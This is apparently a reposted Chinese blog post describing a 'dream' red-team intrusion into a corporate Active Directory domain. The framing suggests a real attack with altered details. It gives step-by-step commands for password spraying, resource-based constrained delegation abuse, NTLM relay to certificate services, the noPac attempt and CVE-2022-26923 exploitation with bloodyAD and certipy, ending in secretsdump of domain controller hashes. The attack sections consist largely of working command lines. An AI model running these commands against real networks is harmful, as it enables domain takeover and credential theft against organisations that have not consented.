前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一次梦里的域环境实战攻击

一次梦里的域环境实战攻击

作者头像
Jumbo
发布2022-11-11 13:52:35
1.2K0
发布2022-11-11 13:52:35
举报
文章被收录于专栏:中国白客联盟

文章作者:lostwolf & Jumbo

一次梦里域环境实战攻击

说明:梦里项目,相关信息如ip,域名,账户等信息都是后期编的,可能会出现文不对题,不要纠结细节。

0x01 外网打点

不多赘述。

0x02 内网资产探测

一、内网渗透一般关注以下重点系统

1.邮件服务器权限

2.OA系统权限

3.集中运维管理平台权限

4.杀毒软件管理平台权限

5.统一认证系统权限

6.域控权限

7.知识库权限

8.Git权限

关于内网如何找重点资产不在此作过多说明,通常是扫描Web Title, NetBIOS , SMBver

找域机器:fscan_amd64 -np -m netbios -h 192.168.17.1/24

二、域入口

通过前期扫描发现了域环境,想要打域第一步是要获取域机器权限或者域账号权限

通过前期域用户枚举及密码喷射快速获取到域名账号权限:admin/Passw0rd

三、域信息收集

为了减少动作尽量减少扫描,采用本地离线分析

通过 socks5 代理 本地mimikatz 注入ADExplorer.exe 进行域信息分析 :

Dump 域快照作后期分析:

ADExplorer.exe -snapshot ""

思路:首先判断是否是域管,如果是域管组用户直接省去获取域管权限

分析是否为域特权账号AdminSDHolder 受保护组

通常为域内高权限用户,在我的Server2008R2下包含以下组:

•Administrators

•Print Operators

•Backup Operators

•Replicator

•Domain Controllers

•Schema Admins

•Enterprise Admins

•Domain Admins

•Server Operators

•Account Operators

•Read-only Domain Controllers

•Organization Management

•Exchange Trusted Subsystem

通过对该账号分析发现adminCount 为1

说明:如果 adminCount 的值设置为 1,则表示用户已经或曾经是受保护组的成员,实际很多情况遇到adminCount=1 但非特权用户

分析是否在domain admins 组

不在域管组

项目上一般选漏洞优先选择:

1.不会对系统造成破坏

2.易于利用

3.稳定

4.尽可能新(时间差)

拿来就可用的是最好的,渗透争分夺秒,很难保证下一个小时不被踢出去,另外在实战攻防成常态情况下,管理员安全意识都提高了,基本上都会比较及时打补丁

0x03 域内机器权限获取

一、RBCD攻击

现在的权限还在非域内的环境中,为了方便通一些域内服务,需要拿下一台域内机器,根据上文得知我们现在拥有一个域账号密码,因此可以通过查询mS-DS-CreatorSID来判断我们拥有的账号权限是否可以攻击其他机器权限:

发现很多机器都是admin用户创建的,我们又有admin用户权限,即可给这些机器添加msds-allowedtoactonbehalfofotheridentity属性进行RBCD攻击。首先添加机器账号:

addcomputer.py redteam.com/admin:P@ssw0rd -computer-name evilcomputer$ -computer-pass Passw0rd -dc-ip 111.11.1.1

然后利用admin用户权限修改上述可控机器的msds-allowedtoactonbehalfofotheridentity属性(工具地址:https://github.com/Jumbo-WJB/SharpAllowedToAct-Modify):

查看是否成功(工具地址:https://github.com/Jumbo-WJB/search_rbcd):

申请票据:

利用票据登录机器:

至此获取到一台域内机器。

0x04 获取域控权限

一、ADCS漏洞

在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。

图片引用:ADCS攻击面挖掘与利用

Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。

漏洞利用

漏洞特性:需要NTLM中继

NTLM Relay to ADCS HTTP Endpoints

ntlmrelayx.py -t http://192.x.x.x/certsrv/certfnsh.asp -smb2support --adcs --template "domain controller" --no-http-server

利用 kekeo 进行 ask tgt

利用失败!

查阅相关资料发现是域控不支持该种认证方式?

后期查看CVE-2022–26923漏洞分析及复现另一种利用方法:

将前面生成的base64证书解码保存为pfx

利用certipy进行证书认证成功获取DC 机器账号hash

Dump hash

secretsdump.py -hashes :1338xxxxxxxxxxxxxxxx7 redteam.com/adserver\$@adserver.redteam.com -no-pass -just-dc

拿下dc 不在此赘述了

二、 CVE-2021-42278 and CVE-2021-42287(noPac)

漏洞利用

•CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

•CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

•假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

以上文字引用来源:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现

自动工具:https://github.com/WazeHell/sam-the-admin

利用失败

三、 CVE-2022–26923

漏洞特性:无需中继

漏洞简介

漏洞类型: 特权提升

漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)

漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

漏洞详情: CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability CVE-2022-26923 (mitre.org)

漏洞利用

直接修改userPrincipalName 出现错误,出现一个约束冲突.

原因是SPN的唯一性,当我们试图将TEST\$机器账户的dNSHostName属性更新为DC-WIN2012.redteam.com时,域控制器试图更新SPN属性,该属性将被更新为包括RestrictedKrbHost/DC-WIN2012.redteam.com和HOST/DC-WIN2012.redteam.com,这将与域控制器的SPN属性冲突。

因此,通过更新TEST\机器账户的dNSHostName属性,当域控制器也试图更新TEST\机器账户的SPN时,我们间接地造成了约束性违反。

我们注意到,当我们更新dNSHostName时,只有两个值被更新和检查,即RestrictedKrbHost/TEST.redteam.com和HOST/TEST.redteam.com,其中包含dNSHostName属性值,解决措施就是删除TEST\$机器账户中这两个SPN值,在域控同步更新时不造成冲突

此时,我们使用TEST\机器账户申请证书时,颁发的证书中将会包含填充篡改后的dNSHostName,即DC-WIN2012.redteam.com。TEST\机器账户申请的证书就具备域控的身份了。

使用bloodyAD工具

参考文章:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现

# 判断用户能否创建机器账户 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota # 创建机器账 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd'

检查下,确实创建成功,不过没有预先设置dNSHostName和SPN

添加机器账户的dNSHostName需要指定可辩别名称(DistinguishedName, DN),

# 设置DNSHostName proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]' # 查询机器账户的DNSHostName proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname

使用Certipy工具申请基于计算机模板的证书,这里的redteam-DC-WIN2012-CA在前面的AD CS配置中有设置到

Shell# 使用Certipy为TEST$账户申请证书proxychains certipy req 'redteam.com/WUHU$:Passw0rd@DC-WIN2012.redteam.com' -ca 'redteam-DC-WIN2012-CA' -template 'Machine'

此处需要注意的是,非域内需要添加-dc-ip参数否则请求失败

使用该证书进行认证,Certipy工具检索到了DC-WIN2012$的NTLM Hash。

Shellproxychains certipy auth -pfx dc-win2012.pfx -username DC-WIN2012$ -domain redteam.com -dc-ip 10.10.1.10

至此成功获取dc机器hash。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档